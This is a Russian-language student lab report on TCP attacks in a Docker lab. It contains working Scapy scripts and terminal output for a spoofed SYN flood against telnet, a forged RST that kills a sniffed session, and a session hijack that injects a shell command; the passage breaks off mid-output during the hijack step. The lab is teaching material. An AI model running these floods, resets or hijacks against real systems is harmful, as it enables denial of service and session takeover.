# Домашняя работа № 2 по предмету: «Безопасность вычислительных сетей» ## Описание лабораторной работы Цель лабораторной работы — получить непосредственный опыт работы с уязвимостями, а также с атаками на эти уязвимости. В этой лабораторной работе вы проведете несколько атак на TCP: 1. TCP SYN flood attack, and SYN cookies; 2. TCP reset attack; 3. TCP session hijacking attack. В лабораторной работе четыре контейнера: три машины легитимных пользователей и одна машина атакующего. ![Lab Stand](img/image01.png) ## Задача 1 «TCP SYN flood attack». ` Код отправляет поддельные пакеты TCP SYN со случайно сгенерированным исходным IP-адресом, исходным портом и порядковым номером. Подождите хотя бы одну минуту, а затем попытайтесь подключиться к жертве с помощью Telnet. Получится ли у вас добиться успеха? Подключиться можно через хост машины Victim (все дальнейшие проверки следует проводить через нее). ` Python-скрипт для атаки: ```python #!/usr/bin/python3 from scapy.all import IP, TCP, send from ipaddress import IPv4Address from random import getrandbits ip = IP(dst="10.3.0.4") tcp = TCP(dport=23, flags='S') pkt = ip/tcp while True: pkt[IP].src = str(IPv4Address(getrandbits(32))) pkt[TCP].sport = getrandbits(16) pkt[TCP].seq = getrandbits(32) send(pkt, iface = 'eth0', verbose = 0) ``` ### Задача 1.1 `net.ipv4.tcp_syncookies=0` - SYN Cookies на жертве (Victim) отключены. #### Выполнение задачи: 1. Запустим скрипт на `seed-attacker` и посмотрим наличие подключений на `Victim`. Листинг `seed-attacker`: ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it seed-attacker /bin/bash root@7552dc4712a7:/# ./volume/opt1.py ``` Листинг `Victim`: ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it Victim /bin/bash root@c1ce515eff6f:/# ss -t4a State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 127.0.0.11:36247 0.0.0.0:* LISTEN 0 128 0.0.0.0:telnet 0.0.0.0:* SYN-RECV 0 0 10.3.0.4:telnet 158.3.195.40:63498 SYN-RECV 0 0 10.3.0.4:telnet 68.112.126.190:38173 SYN-RECV 0 0 10.3.0.4:telnet 35.165.229.103:19782 SYN-RECV 0 0 10.3.0.4:telnet 223.152.125.135:15332 SYN-RECV 0 0 10.3.0.4:telnet 61.203.9.143:15695 SYN-RECV 0 0 10.3.0.4:telnet 255.206.99.32:60814 SYN-RECV 0 0 10.3.0.4:telnet 170.124.119.247:26556 SYN-RECV 0 0 10.3.0.4:telnet 52.3.217.249:9740 SYN-RECV 0 0 10.3.0.4:telnet 164.232.55.253:12359 SYN-RECV 0 0 10.3.0.4:telnet 241.193.45.30:30514 SYN-RECV 0 0 10.3.0.4:telnet 142.136.178.68:48908 SYN-RECV 0 0 10.3.0.4:telnet 169.127.7.200:28752 SYN-RECV 0 0 10.3.0.4:telnet 164.46.133.1:51723 SYN-RECV 0 0 10.3.0.4:telnet 30.31.252.194:25101 SYN-RECV 0 0 10.3.0.4:telnet 128.80.132.146:47391 SYN-RECV 0 0 10.3.0.4:telnet 212.103.101.22:46695 SYN-RECV 0 0 10.3.0.4:telnet 168.126.69.223:2779 SYN-RECV 0 0 10.3.0.4:telnet 106.227.225.114:40267 SYN-RECV 0 0 10.3.0.4:telnet 205.30.153.72:63313 SYN-RECV 0 0 10.3.0.4:telnet 182.37.132.171:9133 SYN-RECV 0 0 10.3.0.4:telnet 193.129.141.24:27999 SYN-RECV 0 0 10.3.0.4:telnet 105.70.138.201:52946 SYN-RECV 0 0 10.3.0.4:telnet 85.161.8.71:23835 SYN-RECV 0 0 10.3.0.4:telnet 172.101.184.243:63721 SYN-RECV 0 0 10.3.0.4:telnet 113.162.77.216:42567 SYN-RECV 0 0 10.3.0.4:telnet 124.15.77.255:47959 SYN-RECV 0 0 10.3.0.4:telnet 71.74.115.95:61061 SYN-RECV 0 0 10.3.0.4:telnet 244.169.200.1:28506 SYN-RECV 0 0 10.3.0.4:telnet 43.185.198.71:10477 SYN-RECV 0 0 10.3.0.4:telnet 6.153.18.179:64006 SYN-RECV 0 0 10.3.0.4:telnet 91.3.85.152:38253 SYN-RECV 0 0 10.3.0.4:telnet 12.174.198.73:15419 SYN-RECV 0 0 10.3.0.4:telnet 32.79.155.173:33205 SYN-RECV 0 0 10.3.0.4:telnet 206.9.216.119:25906 SYN-RECV 0 0 10.3.0.4:telnet 174.214.52.195:53607 SYN-RECV 0 0 10.3.0.4:telnet 162.128.57.123:19642 SYN-RECV 0 0 10.3.0.4:telnet 85.47.254.100:57247 SYN-RECV 0 0 10.3.0.4:telnet 110.163.192.5:25076 SYN-RECV 0 0 10.3.0.4:telnet 158.21.174.242:50213 SYN-RECV 0 0 10.3.0.4:telnet 28.127.92.138:23754 SYN-RECV 0 0 10.3.0.4:telnet 128.14.169.102:17831 SYN-RECV 0 0 10.3.0.4:telnet 182.54.130.73:33873 SYN-RECV 0 0 10.3.0.4:telnet 140.248.111.171:957 SYN-RECV 0 0 10.3.0.4:telnet 28.155.173.107:475 SYN-RECV 0 0 10.3.0.4:telnet 170.77.97.244:26726 SYN-RECV 0 0 10.3.0.4:telnet 190.143.212.253:132 SYN-RECV 0 0 10.3.0.4:telnet 155.227.189.26:40335 SYN-RECV 0 0 10.3.0.4:telnet 72.225.114.86:38447 SYN-RECV 0 0 10.3.0.4:telnet 60.96.3.80:27168 SYN-RECV 0 0 10.3.0.4:telnet 142.187.166.211:33573 SYN-RECV 0 0 10.3.0.4:telnet 65.12.78.96:26432 SYN-RECV 0 0 10.3.0.4:telnet 118.217.175.101:58536 SYN-RECV 0 0 10.3.0.4:telnet 34.60.246.132:38453 SYN-RECV 0 0 10.3.0.4:telnet 43.227.33.66:19153 SYN-RECV 0 0 10.3.0.4:telnet 222.220.229.204:12038 SYN-RECV 0 0 10.3.0.4:telnet 149.39.221.94:41871 SYN-RECV 0 0 10.3.0.4:telnet 35.153.15.193:23372 SYN-RECV 0 0 10.3.0.4:telnet 144.41.43.28:6615 SYN-RECV 0 0 10.3.0.4:telnet 90.199.83.251:42295 SYN-RECV 0 0 10.3.0.4:telnet 74.115.119.245:36185 SYN-RECV 0 0 10.3.0.4:telnet 222.179.99.248:7329 SYN-RECV 0 0 10.3.0.4:telnet 188.221.77.103:59499 SYN-RECV 0 0 10.3.0.4:telnet 120.30.189.201:42384 SYN-RECV 0 0 10.3.0.4:telnet 116.109.255.44:63489 SYN-RECV 0 0 10.3.0.4:telnet 184.48.224.156:25463 SYN-RECV 0 0 10.3.0.4:telnet 101.9.97.29:6589 SYN-RECV 0 0 10.3.0.4:telnet 88.124.93.154:10414 SYN-RECV 0 0 10.3.0.4:telnet 57.169.50.152:38671 SYN-RECV 0 0 10.3.0.4:telnet 9.182.150.232:65338 SYN-RECV 0 0 10.3.0.4:telnet 41.10.253.44:46509 SYN-RECV 0 0 10.3.0.4:telnet 162.133.50.166:36175 SYN-RECV 0 0 10.3.0.4:telnet 59.238.207.201:5967 SYN-RECV 0 0 10.3.0.4:telnet 11.111.229.68:57707 SYN-RECV 0 0 10.3.0.4:telnet 244.194.124.160:40218 SYN-RECV 0 0 10.3.0.4:telnet 83.29.237.183:3989 SYN-RECV 0 0 10.3.0.4:telnet 101.64.206.92:51178 SYN-RECV 0 0 10.3.0.4:telnet 177.23.166.58:12932 SYN-RECV 0 0 10.3.0.4:telnet 89.15.11.238:13961 SYN-RECV 0 0 10.3.0.4:telnet 212.64.194.218:21478 SYN-RECV 0 0 10.3.0.4:telnet 163.218.76.207:26101 SYN-RECV 0 0 10.3.0.4:telnet 188.132.173.32:31742 SYN-RECV 0 0 10.3.0.4:telnet 4.63.123.81:47630 SYN-RECV 0 0 10.3.0.4:telnet 113.116.81.171:5453 SYN-RECV 0 0 10.3.0.4:telnet 255.72.111.137:52032 SYN-RECV 0 0 10.3.0.4:telnet 36.198.2.211:65472 SYN-RECV 0 0 10.3.0.4:telnet 247.162.128.86:11958 SYN-RECV 0 0 10.3.0.4:telnet 62.75.93.58:9085 SYN-RECV 0 0 10.3.0.4:telnet 105.192.66.155:18524 SYN-RECV 0 0 10.3.0.4:telnet 83.205.134.50:18579 SYN-RECV 0 0 10.3.0.4:telnet 100.75.229.233:40304 SYN-RECV 0 0 10.3.0.4:telnet 249.109.36.201:36192 SYN-RECV 0 0 10.3.0.4:telnet 206.180.21.66:59312 SYN-RECV 0 0 10.3.0.4:telnet 10.128.83.150:17815 SYN-RECV 0 0 10.3.0.4:telnet 145.34.175.51:4006 SYN-RECV 0 0 10.3.0.4:telnet 153.240.241.137:33534 SYN-RECV 0 0 10.3.0.4:telnet 108.254.65.200:37901 SYN-RECV 0 0 10.3.0.4:telnet 221.225.89.253:36264 SYN-RECV 0 0 10.3.0.4:telnet 118.232.151.247:8717 SYN-RECV 0 0 10.3.0.4:telnet 201.41.203.96:56927 SYN-RECV 0 0 10.3.0.4:telnet 67.142.179.214:37394 SYN-RECV 0 0 10.3.0.4:telnet 208.107.192.91:36944 SYN-RECV 0 0 10.3.0.4:telnet 211.227.162.197:3944 SYN-RECV 0 0 10.3.0.4:telnet 188.223.177.201:40671 SYN-RECV 0 0 10.3.0.4:telnet 78.135.247.222:17643 SYN-RECV 0 0 10.3.0.4:telnet 108.83.96.3:2852 SYN-RECV 0 0 10.3.0.4:telnet 142.213.104.206:29514 SYN-RECV 0 0 10.3.0.4:telnet 160.145.50.39:50538 SYN-RECV 0 0 10.3.0.4:telnet 161.152.196.165:4955 SYN-RECV 0 0 10.3.0.4:telnet 241.166.228.192:60093 SYN-RECV 0 0 10.3.0.4:telnet 80.6.1.157:43426 SYN-RECV 0 0 10.3.0.4:telnet 240.101.37.241:58135 SYN-RECV 0 0 10.3.0.4:telnet 16.76.239.128:21463 SYN-RECV 0 0 10.3.0.4:telnet 193.32.104.199:19927 SYN-RECV 0 0 10.3.0.4:telnet 45.41.161.117:9061 SYN-RECV 0 0 10.3.0.4:telnet 141.6.97.30:49660 SYN-RECV 0 0 10.3.0.4:telnet 132.232.6.19:2651 SYN-RECV 0 0 10.3.0.4:telnet 105.60.200.215:21117 SYN-RECV 0 0 10.3.0.4:telnet 47.151.76.132:38787 SYN-RECV 0 0 10.3.0.4:telnet 243.62.126.231:28478 SYN-RECV 0 0 10.3.0.4:telnet 118.246.71.121:31682 SYN-RECV 0 0 10.3.0.4:telnet 194.220.80.110:29664 SYN-RECV 0 0 10.3.0.4:telnet 66.253.232.91:32490 SYN-RECV 0 0 10.3.0.4:telnet 61.229.49.119:49516 SYN-RECV 0 0 10.3.0.4:telnet 120.235.163.180:50010 SYN-RECV 0 0 10.3.0.4:telnet 89.60.103.203:54792 SYN-RECV 0 0 10.3.0.4:telnet 32.207.129.235:912 SYN-RECV 0 0 10.3.0.4:telnet 39.5.255.223:59359 SYN-RECV 0 0 10.3.0.4:telnet 104.113.33.147:63898 ``` 2. Проверим возможность подключения к `Victim` с `HostB` ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it HostB telnet Victim Trying 10.3.0.4... Connected to Victim. Escape character is '^]'. Ubuntu 20.04.1 LTS c1ce515eff6f login: ``` В данном случае, мы видим успешный вывод приглашения. Можно предположить, что атака не удалась, но зная, что возможности очереди машины зависят от её характеристик, не будет лишним попробовать запустить сразу несколько экземпляров скрипта на `seed-attacker` добавив операнд `&` к команде запуска: `root@7552dc4712a7:/# ./volume/opt1.py &` 3. Запустим 15 экземпляров скрипта одновременно и проверим возможность подключения: ```bash root@7552dc4712a7:/# ./volume/opt1.py & [1] 40 root@7552dc4712a7:/# ./volume/opt1.py & [2] 44 root@7552dc4712a7:/# ./volume/opt1.py & [3] 48 root@7552dc4712a7:/# ./volume/opt1.py & [4] 52 root@7552dc4712a7:/# ./volume/opt1.py & [5] 56 root@7552dc4712a7:/# ./volume/opt1.py & [6] 60 root@7552dc4712a7:/# ./volume/opt1.py & [7] 64 root@7552dc4712a7:/# ./volume/opt1.py & [8] 68 root@7552dc4712a7:/# ./volume/opt1.py & [9] 72 root@7552dc4712a7:/# ./volume/opt1.py & [10] 76 root@7552dc4712a7:/# ./volume/opt1.py & [11] 80 root@7552dc4712a7:/# ./volume/opt1.py & [12] 84 root@7552dc4712a7:/# ./volume/opt1.py & [13] 88 root@7552dc4712a7:/# ./volume/opt1.py & [14] 92 root@7552dc4712a7:/# ./volume/opt1.py & [15] 96 ``` 4. Подключение выполняется, но с большими задержками (от 10 до 30 секунд). Атаку можно считать успешной. #### Итог задачи 1.1 Атака при `net.ipv4.tcp_syncookies=0` производится **успешно**! ### Задача 1.2 `net.ipv4.tcp_syncookies=1` - SYN Cookies на жертве (Victim) включены. Время провести попытку с включенным механизмом syncookies. Для этого пересоздадим контейнер `Victim` установив значение строки `net.ipv4.tcp_syncookies=1` в docker-compose.yaml ```bash ┌──(marker㉿kali)-[~/…/pentest/01-network/01-tcpip/02-tcp] └─$ docker-compose up -d HostB is up-to-date HostA is up-to-date seed-attacker is up-to-date Recreating Victim ... done ``` #### Выполнение задачи 1. Так как мы пересоздали только контейнер `Victim` необходимости перезапускать скрипты нет, можно убедиться только в наличии подключений на `Victim` ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it Victim ss -t4a State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 127.0.0.11:40647 0.0.0.0:* LISTEN 0 128 0.0.0.0:telnet 0.0.0.0:* SYN-RECV 0 0 10.3.0.4:telnet 108.27.226.102:5104 SYN-RECV 0 0 10.3.0.4:telnet 73.160.236.206:6860 SYN-RECV 0 0 10.3.0.4:telnet 1.25.214.186:57581 SYN-RECV 0 0 10.3.0.4:telnet 195.108.61.207:19857 SYN-RECV 0 0 10.3.0.4:telnet 58.175.239.163:46032 SYN-RECV 0 0 10.3.0.4:telnet 65.125.87.11:39861 SYN-RECV 0 0 10.3.0.4:telnet 66.48.143.8:54418 SYN-RECV 0 0 10.3.0.4:telnet 103.157.54.82:63169 SYN-RECV 0 0 10.3.0.4:telnet 21.208.194.188:23330 SYN-RECV 0 0 10.3.0.4:telnet 168.107.191.96:38867 SYN-RECV 0 0 10.3.0.4:telnet 138.53.84.222:9522 SYN-RECV 0 0 10.3.0.4:telnet 23.239.108.253:57752 SYN-RECV 0 0 10.3.0.4:telnet 207.255.101.226:42752 SYN-RECV 0 0 10.3.0.4:telnet 31.98.248.252:54624 SYN-RECV 0 0 10.3.0.4:telnet 153.149.254.217:57045 SYN-RECV 0 0 10.3.0.4:telnet 110.90.139.107:45601 SYN-RECV 0 0 10.3.0.4:telnet 63.215.107.84:61401 SYN-RECV 0 0 10.3.0.4:telnet 30.192.12.91:48795 SYN-RECV 0 0 10.3.0.4:telnet 160.28.246.103:36530 SYN-RECV 0 0 10.3.0.4:telnet 173.14.71.55:22736 SYN-RECV 0 0 10.3.0.4:telnet 2.147.136.249:60366 SYN-RECV 0 0 10.3.0.4:telnet 128.143.50.25:31526 SYN-RECV 0 0 10.3.0.4:telnet 18.245.103.194:58594 SYN-RECV 0 0 10.3.0.4:telnet 199.55.89.215:12389 SYN-RECV 0 0 10.3.0.4:telnet 75.87.156.253:2150 SYN-RECV 0 0 10.3.0.4:telnet 36.125.204.38:40431 SYN-RECV 0 0 10.3.0.4:telnet 29.174.150.228:3279 SYN-RECV 0 0 10.3.0.4:telnet 103.182.14.81:8287 SYN-RECV 0 0 10.3.0.4:telnet 7.195.187.110:42890 SYN-RECV 0 0 10.3.0.4:telnet 48.112.154.154:27219 SYN-RECV 0 0 10.3.0.4:telnet 24.19.187.21:43326 SYN-RECV 0 0 10.3.0.4:telnet 21.175.158.40:28366 SYN-RECV 0 0 10.3.0.4:telnet 164.210.118.69:60534 SYN-RECV 0 0 10.3.0.4:telnet 34.42.220.155:58476 SYN-RECV 0 0 10.3.0.4:telnet 213.180.124.2:49861 SYN-RECV 0 0 10.3.0.4:telnet 103.11.249.237:56808 SYN-RECV 0 0 10.3.0.4:telnet 120.247.60.217:4743 SYN-RECV 0 0 10.3.0.4:telnet 218.226.80.53:34253 SYN-RECV 0 0 10.3.0.4:telnet 42.145.114.221:49653 SYN-RECV 0 0 10.3.0.4:telnet 7.240.255.81:27771 SYN-RECV 0 0 10.3.0.4:telnet 143.58.200.245:33149 SYN-RECV 0 0 10.3.0.4:telnet 69.34.181.160:5278 SYN-RECV 0 0 10.3.0.4:telnet 213.61.103.79:44805 SYN-RECV 0 0 10.3.0.4:telnet 158.80.85.163:17839 SYN-RECV 0 0 10.3.0.4:telnet 166.43.252.1:35071 SYN-RECV 0 0 10.3.0.4:telnet 108.96.192.139:9072 SYN-RECV 0 0 10.3.0.4:telnet 5.21.112.104:21394 SYN-RECV 0 0 10.3.0.4:telnet 162.25.70.105:60609 SYN-RECV 0 0 10.3.0.4:telnet 80.161.149.89:23925 SYN-RECV 0 0 10.3.0.4:telnet 141.38.182.231:3744 SYN-RECV 0 0 10.3.0.4:telnet 95.234.149.125:251 SYN-RECV 0 0 10.3.0.4:telnet 217.225.241.180:59771 SYN-RECV 0 0 10.3.0.4:telnet 146.229.210.242:43953 SYN-RECV 0 0 10.3.0.4:telnet 154.195.122.28:18065 SYN-RECV 0 0 10.3.0.4:telnet 181.238.166.233:11863 SYN-RECV 0 0 10.3.0.4:telnet 167.90.141.48:25317 SYN-RECV 0 0 10.3.0.4:telnet 39.193.36.206:14815 SYN-RECV 0 0 10.3.0.4:telnet 44.45.173.240:6168 SYN-RECV 0 0 10.3.0.4:telnet 111.145.48.231:22391 SYN-RECV 0 0 10.3.0.4:telnet 92.7.156.199:24283 SYN-RECV 0 0 10.3.0.4:telnet 109.88.74.126:41634 SYN-RECV 0 0 10.3.0.4:telnet 88.83.198.125:13924 SYN-RECV 0 0 10.3.0.4:telnet 216.128.126.5:56934 SYN-RECV 0 0 10.3.0.4:telnet 173.71.112.248:3183 SYN-RECV 0 0 10.3.0.4:telnet 151.101.172.76:11086 SYN-RECV 0 0 10.3.0.4:telnet 42.189.187.110:42000 SYN-RECV 0 0 10.3.0.4:telnet 72.85.104.196:8777 SYN-RECV 0 0 10.3.0.4:telnet 115.140.156.34:12861 SYN-RECV 0 0 10.3.0.4:telnet 94.138.192.212:47483 SYN-RECV 0 0 10.3.0.4:telnet 137.246.29.219:28520 SYN-RECV 0 0 10.3.0.4:telnet 246.25.91.6:18763 SYN-RECV 0 0 10.3.0.4:telnet 126.160.117.95:36546 SYN-RECV 0 0 10.3.0.4:telnet 90.97.71.218:55907 SYN-RECV 0 0 10.3.0.4:telnet 59.158.190.243:41916 SYN-RECV 0 0 10.3.0.4:telnet 99.36.72.222:20953 SYN-RECV 0 0 10.3.0.4:telnet 41.251.20.154:24466 SYN-RECV 0 0 10.3.0.4:telnet 3.3.15.105:39580 SYN-RECV 0 0 10.3.0.4:telnet 155.19.51.115:31768 SYN-RECV 0 0 10.3.0.4:telnet 201.32.112.228:37389 SYN-RECV 0 0 10.3.0.4:telnet 109.168.237.66:7420 SYN-RECV 0 0 10.3.0.4:telnet 153.89.8.208:50018 SYN-RECV 0 0 10.3.0.4:telnet 83.235.84.0:20745 SYN-RECV 0 0 10.3.0.4:telnet 72.39.57.159:13316 SYN-RECV 0 0 10.3.0.4:telnet 200.117.234.28:28479 SYN-RECV 0 0 10.3.0.4:telnet 59.49.246.45:60117 SYN-RECV 0 0 10.3.0.4:telnet 208.51.26.83:28652 SYN-RECV 0 0 10.3.0.4:telnet 5.84.41.41:23684 SYN-RECV 0 0 10.3.0.4:telnet 240.98.74.178:30076 SYN-RECV 0 0 10.3.0.4:telnet 192.205.144.26:55242 SYN-RECV 0 0 10.3.0.4:telnet 218.56.164.34:30890 SYN-RECV 0 0 10.3.0.4:telnet 18.73.28.181:1097 SYN-RECV 0 0 10.3.0.4:telnet 8.32.26.66:58232 SYN-RECV 0 0 10.3.0.4:telnet 27.247.195.32:3246 SYN-RECV 0 0 10.3.0.4:telnet 67.76.249.89:36674 SYN-RECV 0 0 10.3.0.4:telnet 183.232.155.249:34478 SYN-RECV 0 0 10.3.0.4:telnet 27.86.84.54:29173 SYN-RECV 0 0 10.3.0.4:telnet 138.165.85.141:17408 SYN-RECV 0 0 10.3.0.4:telnet 116.21.101.61:45236 SYN-RECV 0 0 10.3.0.4:telnet 175.44.125.225:466 SYN-RECV 0 0 10.3.0.4:telnet 216.66.253.9:26636 SYN-RECV 0 0 10.3.0.4:telnet 59.108.99.169:30039 SYN-RECV 0 0 10.3.0.4:telnet 39.85.136.219:37845 SYN-RECV 0 0 10.3.0.4:telnet 48.0.195.61:20322 SYN-RECV 0 0 10.3.0.4:telnet 29.51.136.15:37360 SYN-RECV 0 0 10.3.0.4:telnet 109.45.185.107:64550 SYN-RECV 0 0 10.3.0.4:telnet 212.126.191.57:53052 SYN-RECV 0 0 10.3.0.4:telnet 215.189.234.143:41317 SYN-RECV 0 0 10.3.0.4:telnet 109.203.202.22:26954 SYN-RECV 0 0 10.3.0.4:telnet 93.249.23.245:675 SYN-RECV 0 0 10.3.0.4:telnet 196.92.153.45:42899 SYN-RECV 0 0 10.3.0.4:telnet 89.95.77.50:19402 SYN-RECV 0 0 10.3.0.4:telnet 72.108.205.97:41939 SYN-RECV 0 0 10.3.0.4:telnet 18.86.157.171:56327 SYN-RECV 0 0 10.3.0.4:telnet 207.92.81.59:43164 SYN-RECV 0 0 10.3.0.4:telnet 65.224.35.250:22195 SYN-RECV 0 0 10.3.0.4:telnet 155.38.175.253:62408 SYN-RECV 0 0 10.3.0.4:telnet 31.97.126.171:8731 SYN-RECV 0 0 10.3.0.4:telnet 130.73.216.158:54260 SYN-RECV 0 0 10.3.0.4:telnet 159.178.81.125:58782 SYN-RECV 0 0 10.3.0.4:telnet 80.43.110.182:15577 SYN-RECV 0 0 10.3.0.4:telnet 41.204.143.205:57513 SYN-RECV 0 0 10.3.0.4:telnet 39.206.85.139:8549 SYN-RECV 0 0 10.3.0.4:telnet 43.223.132.191:10875 SYN-RECV 0 0 10.3.0.4:telnet 204.26.154.217:64975 ``` 2. Подключения на месте. Проверим возможность подключения по Telnet. ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it HostB telnet Victim Trying 10.3.0.4... Connected to Victim. Escape character is '^]'. Ubuntu 20.04.1 LTS 6796bc79f91e login: ^X^CConnection closed by foreign host. ┌──(marker㉿kali)-[~] └─$ docker exec -it HostB telnet Victim Trying 10.3.0.4... Connected to Victim. Escape character is '^]'. Ubuntu 20.04.1 LTS 6796bc79f91e login: ^CConnection closed by foreign host. ┌──(marker㉿kali)-[~] └─$ docker exec -it HostB telnet Victim Trying 10.3.0.4... Connected to Victim. Escape character is '^]'. Ubuntu 20.04.1 LTS 6796bc79f91e login: ^CConnection closed by foreign host. ┌──(marker㉿kali)-[~] └─$ docker exec -it HostB telnet Victim Trying 10.3.0.4... Connected to Victim. Escape character is '^]'. Ubuntu 20.04.1 LTS 6796bc79f91e login: ^CConnection closed by foreign host. ``` Проведя 4 попытки подключения и мгновенно увидев баннер Telnet можем сделать вывод, что в этот раз атака не удалась. #### Итог задачи 1.1 Атака при `net.ipv4.tcp_syncookies=1` производится **неудачно**. ### Итог задачи 1. Механизм TCP SYN cookies позволяет серверу генерировать специальные сокращенные версии TCP-заголовков (cookies) в ответ на входящие запросы SYN, сохраняя минимум информации о соединении. Когда сервер получает подтверждение от клиента (ACK-пакет), он может восстановить полную информацию о соединении из сокращенной версии TCP-заголовка, инициированной в SYN-пакете. Этот механизм позволяет серверу обрабатывать и отвечать на большое количество входящих соединений даже в условиях атаки SYN flood, так как он не хранит информацию о незавершенных соединениях в памяти, а использует специальные cookie для отслеживания состояния соединения. TCP SYN cookies - это один из методов защиты от атак на уровне TCP, который повышает устойчивость серверов к подобным атакам и обеспечивает непрерывность работы сетевых служб. ## Задача 2. TCP reset attack 1. Для выполнения атаки нам необходимо получить вводные данные. Для этого в момент подключения с `HostB` к `Victim` будем слушать трафик между ними с помощью `tcpdump` Выполняем подключение с `HostB` к `Victim` ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it HostB telnet Victim Trying 10.3.0.4... Connected to Victim. Escape character is '^]'. Ubuntu 20.04.1 LTS f781be235ebf login: root Password: Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.6.9-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Mon Mar 4 19:45:56 UTC 2024 from HostB.net-1 on pts/1 root@f781be235ebf:~# ``` "Слушаем" трафик с помощью `tcpdump` ```bash ┌──(marker㉿kali)-[~] └─$ sudo tcpdump -i br-932aa0b67a23 port 23 -S 14:50:10.308304 IP 10.3.0.4.telnet > 10.3.0.3.55418: Flags [P.], seq 825594434:825594502, ack 3707590235, win 249, options [nop,nop,TS val 1822356222 ecr 1858411726], length 68 14:50:10.308324 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [.], ack 825594502, win 249, options [nop,nop,TS val 1858411726 ecr 1822356222], length 0 14:50:10.315817 IP 10.3.0.4.telnet > 10.3.0.3.55418: Flags [P.], seq 825594502:825594523, ack 3707590235, win 249, options [nop,nop,TS val 1822356230 ecr 1858411726], length 21 14:50:10.315850 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [.], ack 825594523, win 249, options [nop,nop,TS val 1858411734 ecr 1822356230], length 0 ``` В логах трафика нам необходимо получить данные для наполнения скрипта -- `src`, `dst`, `sport`, `dport` и `seq`. | **Параметр** | **Значение** | **Примечание** | | --- | --- | --- | | src | 10.3.0.3 | IP-адрес `HostB` | | dst | 10.3.0.4 | IP-адрес `Victim` | | sport | 55418 | Номер порта, с которого `HostB` устанавливает подключение | | dport | 23 | Номер порта telnet на `Victim` | | seq | 3707590235 | Номер следующей последовательности, который ожидает `Victim` от `HostB` | 2. Подставим полученные данные в скрипт `opt2.py` для проведения атаки. ```python #!/usr/bin/env python3 from scapy.all import IP,TCP,send,ls ip = IP(src="10.3.0.3", dst="10.3.0.4") tcp = TCP(sport=55418, dport=23, flags="R", seq=3707590235) pkt = ip/tcp ls(pkt) send(pkt, verbose=0) ``` 3. Выполним атакующий скрипт ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it Victim ./volume/opt2.py version : BitField (4 bits) = 4 (4) ihl : BitField (4 bits) = None (None) tos : XByteField = 0 (0) len : ShortField = None (None) id : ShortField = 1 (1) flags : FlagsField (3 bits) = () frag : BitField (13 bits) = 0 (0) ttl : ByteField = 64 (64) proto : ByteEnumField = 6 (0) chksum : XShortField = None (None) src : SourceIPField = '10.3.0.3' (None) dst : DestIPField = '10.3.0.4' (None) options : PacketListField = [] ([]) -- sport : ShortEnumField = 55418 (20) dport : ShortEnumField = 23 (80) seq : IntField = 3707590235 (0) ack : IntField = 0 (0) dataofs : BitField (4 bits) = None (None) reserved : BitField (3 bits) = 0 (0) flags : FlagsField (9 bits) = () window : ShortField = 8192 (8192) chksum : XShortField = None (None) urgptr : ShortField = 0 (0) options : TCPOptionsField = [] (b'') ``` 4. Убедимся в наличии RST-пакета в `tcpdump` ``` 14:52:18.312274 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [R], seq 3707590235, win 8192, length 0 ``` 5. Проверим состояние соединения путём нажатия Enter в подключении `telnet` ``` root@f781be235ebf:~# Connection closed by foreign host. ``` Согласно выводу, соединение было закрыто, атаку можно считать успешной. ### Итог задачи 2. TCP RST (Reset) атака - это форма атаки на уровне TCP, которая может быть использована для нарушения установленных TCP-соединений между клиентом и сервером. Принцип работы атаки заключается в отправке поддельных RST-пакетов (пакетов сброса соединения) от имени одной из сторон (обычно от сервера) для преждевременного завершения установленного TCP-соединения. Это может привести к разрыву соединения и прекращению обмена данными между клиентом и сервером. Несмотря на вышеописанное, подготовка к такой атаке является довольно сложной на практике, ведь злоумышленник должен иметь доступ к трафику внутри сети для правильного составления атакующего пакета. ## Задача 3. TCP Session Hijacking attack 1. Аналогично заданию 2 установим Тelnet-сессию между узлами `HostB` и `Victim` и соберем исходные данные. Скелет кода похож на тот, который указан в задании 2, отличается лишь сегментом TCP и необходимостью добавления блока данных. Основываясь на данных из `tcpdump` заполним нашу таблицу: ``` ... 15:44:49.999520 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847749:482847772, ack 1386786213, win 249, options [nop,nop,TS val 1825635913 ecr 1861691417], length 23 15:44:49.999547 IP 10.3.0.3.60124 > 10.3.0.4.telnet: Flags [.], ack 482847772, win 249, options [nop,nop,TS val 1861691417 ecr 1825635913], length 0 ``` Таблица: | **Параметр** | **Значение** | **Примечание** | | --- | --- | --- | | src | 10.3.0.3 | IP-адрес `HostB` | | dst | 10.3.0.4 | IP-адрес `Victim` | | sport | 60124 | Номер порта, с которого `HostB` устанавливает подключение | | dport | 23 | Номер порта telnet на `Victim` | | seq | 1386786213 | Номер следующей последовательности, который ожидает `Victim` от `HostB` | | ack | 482847772 | | 2. Заполняем скрипт полученными данными ```python #!/usr/bin/env python3 from scapy.all import IP,TCP,send,ls ip = IP(src="10.3.0.3", dst="10.3.0.4") tcp = TCP(sport=60124, dport=23, flags="PA", seq=1386786213, ack=482847772) data = "\r mkdir 1337 \r" pkt = ip/tcp/data ls(pkt) send(pkt, verbose=0) ``` 3. Выполним атакующий скрипт ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it seed-attacker ./volume/opt3.py version : BitField (4 bits) = 4 (4) ihl : BitField (4 bits) = None (None) tos : XByteField = 0 (0) len : ShortField = None (None) id : ShortField = 1 (1) flags : FlagsField (3 bits) = () frag : BitField (13 bits) = 0 (0) ttl : ByteField = 64 (64) proto : ByteEnumField = 6 (0) chksum : XShortField = None (None) src : SourceIPField = '10.3.0.3' (None) dst : DestIPField = '10.3.0.4' (None) options : PacketListField = [] ([]) -- sport : ShortEnumField = 60124 (20) dport : 